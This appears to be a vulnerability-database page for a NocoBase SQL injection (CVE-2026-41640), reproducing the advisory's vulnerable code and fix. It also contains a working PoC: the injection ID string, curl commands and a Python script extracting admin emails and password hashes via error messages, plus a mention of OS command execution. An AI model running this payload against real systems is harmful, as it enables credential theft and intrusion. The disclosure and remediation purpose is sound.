Skip to main content

NocoBase EUVD-2026-28261

| CVE-2026-41640 HIGH
SQL Injection (CWE-89)
2026-04-22 https://github.com/nocobase/nocobase GHSA-4948-f92q-f432
7.5
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Generated
Apr 23, 2026 - 06:55 vuln.today
Analysis Generated
Apr 22, 2026 - 20:31 vuln.today
Patch released
Apr 22, 2026 - 20:31 nvd
Patch available
PoC Detected
Apr 22, 2026 - 20:09 vuln.today
Public exploit code
CVE Published
Apr 22, 2026 - 20:09 nvd
HIGH 7.5

DescriptionGitHub Advisory

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

javascript
const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

javascript
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
bash
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"id":"root","title":"Root"}'
# 3. Create injection parent - error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
    json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"admin@nocobase.com\""}]}
#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^
#                                                             Exfiltrated data in error message

Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):

SubqueryExtracted Value
SELECT version()PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...
SELECT current_database()nocobase
SELECT email FROM users ORDER BY id LIMIT 1admin@nocobase.com
SELECT password FROM users ORDER BY id LIMIT 1006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38
`SELECT string_agg(email\\

Impact

  • Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
  • Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
  • Availability: Resource-exhaustive queries or destructive DDL.
  • Scope change: On PostgreSQL with superuser, COPY ... TO PROGRAM achieves OS command execution.
  • Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in plugin-field-sort/src/server/sort-field.ts:124.

Fix Suggestion

  1. Use parameterized queries. Replace the string concatenation with bind parameters:
javascript
   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');
   const sql = `WITH RECURSIVE cte AS (
       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
       FROM ${tableName}
       WHERE ${q(targetKeyField)} IN (${placeholders})
       UNION ALL
       ...
   ) SELECT ... FROM cte`;
   return { sql, bind: nodeIds };

Then call db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }).

  1. Apply the same fix to plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern with filteredScopeValue.
  2. Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (', ", ;, --) in string-type primary key fields.

AnalysisAI

SQL injection in NocoBase's @nocobase/database package allows authenticated users with record-creation privileges to execute arbitrary SQL queries and extract database credentials. The vulnerability exists in the queryParentSQL() function, which constructs recursive Common Table Expression (CTE) queries using string concatenation instead of parameterized queries when processing tree collections with string primary keys. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
Authenticate with low-privilege credentials
Delivery
Create tree collection record with SQL injection payload in string PK field
Exploit
Trigger recursive eager loading via API request with appends parameter
Install
Injected UNION ALL executes attacker subquery in CTE
C2
Database error message returns exfiltrated data
Execute
Iterate extraction to dump credentials table
Impact
Offline password cracking or token reuse
Step 8
Privilege escalation to administrator
Step 9
(PostgreSQL only) Execute OS commands via COPY TO PROGRAM

Vulnerability AssessmentAI

Exploitation Exploitation requires four specific conditions: (1) The NocoBase instance must have at least one collection configured with tree structure using the adjacency list pattern (tree:'adjacencyList' in collection definition). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment This represents a critical real-world risk despite the 7.5 CVSS score. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated attacker with basic member privileges creates a tree collection record (e.g., organizational hierarchy, category tree, or file system structure) with a malicious primary key value: root') UNION ALL SELECT CAST((SELECT password FROM users LIMIT 1) AS integer)::text, NULL WHERE ('1'='1. When any user or automated process triggers a list/get request with recursive parent loading (appends[]=parent(recursively=true)), NocoBase's eager-loading mechanism constructs a recursive CTE query incorporating the malicious ID. …
Remediation Upgrade to the patched version of NocoBase that includes commit 202e2b8efe44ba90adbf1087f6f70881ff947604 from GitHub PR #9133 (https://github.com/nocobase/nocobase/pull/9133). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all NocoBase instances in production and document current @nocobase/database package versions. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

EUVD-2026-28261 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy